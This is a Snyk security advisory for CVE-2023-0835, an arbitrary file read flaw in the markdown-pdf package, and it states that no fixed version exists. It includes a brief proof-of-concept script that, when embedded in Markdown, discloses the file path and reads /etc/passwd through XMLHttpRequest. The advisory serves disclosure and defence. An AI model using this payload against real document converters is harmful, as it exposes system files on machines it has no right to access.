Arbitrary File Read Affecting markdown-pdf package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.26% (65th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MARKDOWNPDF-5411358
  • published5 Apr 2023
  • disclosed5 Apr 2023
  • creditCarlos Bello from Fluid Attacks' Offensive Team.

Introduced: 5 Apr 2023

CVE-2023-0835  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

There is no fixed version for markdown-pdf.

Overview

markdown-pdf is a Markdown to PDF converter.

Affected versions of this package are vulnerable to Arbitrary File Read due to improper validation of the Markdown content entered by the user.

PoC

<script>
    // Path Disclosure
    document.write(window.location);
    // Arbitrary Local File Read
    xhr = new XMLHttpRequest;
    xhr.onload=function(){document.write((this.responseText))};
    xhr.open("GET","file:///etc/passwd");
    xhr.send();
</script>

References

CVSS Scores

version 3.1